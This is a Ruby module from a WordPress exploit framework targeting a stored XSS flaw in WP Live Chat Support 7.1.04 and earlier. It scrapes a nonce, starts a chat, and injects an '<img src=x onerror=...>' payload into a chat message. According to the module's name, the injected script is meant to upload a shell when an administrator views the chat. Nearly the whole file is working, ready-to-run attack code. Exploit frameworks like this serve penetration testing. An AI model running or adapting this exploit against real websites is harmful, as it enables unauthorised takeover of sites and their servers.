# frozen_string_literal: true

class Wpxf::Exploit::WpLiveChatSupportStoredXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StoredXss

  def initialize
    super

    update_info(
      name: 'WP Live Chat Support <= 7.1.04 Stored XSS Shell Upload',
      author: [
        'Omaid Faizyar', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8880'],
        ['URL', 'https://github.com/CodeCabin/wp-live-chat-support/issues/358']
      ],
      date: 'Jul 20 2017'
    )

    register_options([
      StringOption.new(
        name: 'chat_name',
        desc: 'The name to use in the live chat',
        required: true
      ),
      StringOption.new(
        name: 'chat_email',
        desc: 'The e-mail address to use in the live chat',
        required: true
      )
    ])
  end

  def check
    check_plugin_version_from_changelog('wp-live-chat-support', 'readme.txt', '7.1.05')
  end

  def vulnerable_page
    'the live chat window'
  end

  def find_nonce
    res = execute_get_request(url: full_uri)
    return nil unless res && res.code == 200

    res.body.match(/wplc_nonce\s=\s"(.+?)";/)[1]
  end

  def initiate_chat(nonce)
    res = execute_post_request(
      url: wordpress_url_admin_ajax,
      body: {
        'action' => 'wplc_start_chat',
        'security' => nonce,
        'name' => datastore['chat_name'],
        'email' => datastore['chat_email']
      }
    )

    return nil unless res && res.code == 200
    res.body.strip.to_i
  end

  def before_store
    emit_info 'Acquiring a security token...'
    self.nonce = find_nonce

    if nonce.nil?
      emit_error 'Failed to acquire a nonce'
      return false
    end

    emit_info 'Initiating a new live chat...'
    self.chat_id = initiate_chat(nonce)
    if chat_id.nil?
      emit_error 'Failed to start a live chat'
      return false
    end

    true
  end

  def store_script
    execute_post_request(
      url: wordpress_url_admin_ajax,
      body: {
        'action' => 'wplc_user_send_msg',
        'security' => nonce,
        'cid' => chat_id,
        'msg' => "#{Utility::Text.rand_alpha(1)}</title><img src=x onerror=#{xss_ascii_encoded_include_script}>"
      }
    )
  end

  attr_accessor :nonce
  attr_accessor :chat_id
end
